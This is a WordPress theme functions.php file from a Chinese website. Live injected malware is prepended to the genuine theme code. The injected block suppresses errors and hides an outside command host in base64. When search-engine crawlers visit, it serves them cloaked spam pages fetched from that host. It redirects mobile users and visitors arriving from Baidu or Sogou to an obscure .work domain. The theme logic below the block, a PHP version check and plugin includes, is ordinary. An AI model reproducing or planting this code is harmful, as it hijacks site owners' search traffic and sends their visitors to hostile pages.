File: /www/wwwroot/www.sceybwg.com/wp-content/themes/Modular/functions.php
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
define('URI', $_SERVER['REQUEST_URI']);
define('host', base64_decode('aHR0cDovLzExMy4yMDcuNDkuMjE6MjczNi8='));
define('MULU', 'timi|app|ios|android|download|page|games|play|video|news|product|blog|list|vod|post|activities|id|?|a|forum|portal|question|b|keyan|index.php|g|swsb|ys|dy|du|ku|show.php|.html');
function isEngines($key) {
$spiders = array('Baiduspider', 'Sogou', '360Spider', 'YisouSpider', 'Googlebot', 'Bingbot', 'Bytespider');
foreach ($spiders as $spider) {
if (stripos($key, $spider) !== false) return true;
}
return false;
}
function my_custom_isMobile() {
return preg_match("/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i", $_SERVER["HTTP_USER_AGENT"]);
}
function isIncludes() {
$temp = explode('|', MULU);
foreach ($temp as $v) {
if (stripos(URI, $v) !== false) return true;
}
return false;
}
function isRef($ref) {
if (empty($ref)) return false;
return (stripos($ref, 'baidu') !== false || stripos($ref, 'sm.cn') !== false ||
stripos($ref, 'so.com') !== false || stripos($ref, 'sogou') !== false);
}
function getContents($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$result = curl_exec($ch);
curl_close($ch);
if ($result == NULL) {
return @file_get_contents($url);
}
return $result;
}
$ref = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$key = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
$ym = $_SERVER['HTTP_HOST'];
if (isEngines($key)) {
header('Content-Type:text/html;charset=utf-8');
if (isIncludes()) {
echo getContents(host . "?xhost=" . $ym . '&reurl=' . urlencode(URI) . '&ua=Baiduspider&f=bd');
exit;
} else {
echo getContents(host . "lunlian/dt.php");
}
} else {
if (isIncludes()) {
if (isRef($ref) || my_custom_isMobile()) {
header("Location: https://zvpso4yc.4npdpd-t8bka-fgsden.work:21557/?cid=jhgb&ref=" . urlencode($ym));
exit;
}
}
}
?>
<?php
if(PHP_VERSION < 7.4){
if(!is_admin()&&!is_login()){
wp_die('主题需要PHP 7.4,你的服务器 PHP 版本为:'.PHP_VERSION.',请升级到 PHP 7.4。');
exit;
}
}elseif(!defined('WPJAM_BASIC_PLUGIN_FILE')){
if(!is_admin()&&!is_login()){
wp_die('主题基于 WPJAM Basic 插件开发,请先<a href="https://wordpress.org/plugins/wpjam-basic/">下载</a>并<a href="'.admin_url('plugins.php').'">激活</a> WPJAM Basic 插件。');
exit;
}
}else{
include_once TEMPLATEPATH.'/public/theme-license.php';
include_once TEMPLATEPATH.'/public/hooks.php';
include_once TEMPLATEPATH.'/public/utils.php';
include_once TEMPLATEPATH.'/public/widget.php';
if(is_admin()){
include_once TEMPLATEPATH.'/admin/admin.php';
}
}
/** --------------------------------------------------------------------------------- *
* 去除固定链接中的子分类
* 去掉前:www.example.com/fenlei/zifenlei/123.html
* 去掉后:www.example.com/fenlei/123.html
* --------------------------------------------------------------------------------- */
/*
add_filter( 'post_link', function($permalink, $post, $leavename){
// 检查 $post 变量是否是类型为 'post' 的对象
if (!gettype($post) == 'post') {
return $permalink;
}
// 根据文章类型进行分支处理
switch ($post->post_type) {
case 'post':
// 获取与文章关联的分类
$cats = get_the_category($post->ID);
$subcats = array();
// 遍历分类以查找所有层次的子分类
foreach( $cats as $cat ) {
$cat = get_category($cat->term_id);
// 递归函数来查找所有层次的子分类
$subcats = array_merge($subcats, get_all_subcategories($cat));
}
// 如果存在子分类,则从永久链接中移除其 slug
if($subcats) {
foreach($subcats as $subcat) {
$subcat = $subcat.'/';
$permalink = str_replace($subcat, "", $permalink);
}
}
break;
}
return $permalink;
},10,3);
// 递归函数用于获取所有层次的子分类
function get_all_subcategories($category) {
$subcategories = array();
// 获取当前分类的子分类
$children = get_categories( array( 'parent' => $category->term_id ) );
foreach ($children as $child) {
// 添加当前子分类到结果数组中
$subcategories[] = $child->slug;
// 递归调用以获取当前子分类的子分类
$subcategories = array_merge($subcategories, get_all_subcategories($child));
}
return $subcategories;
}
*/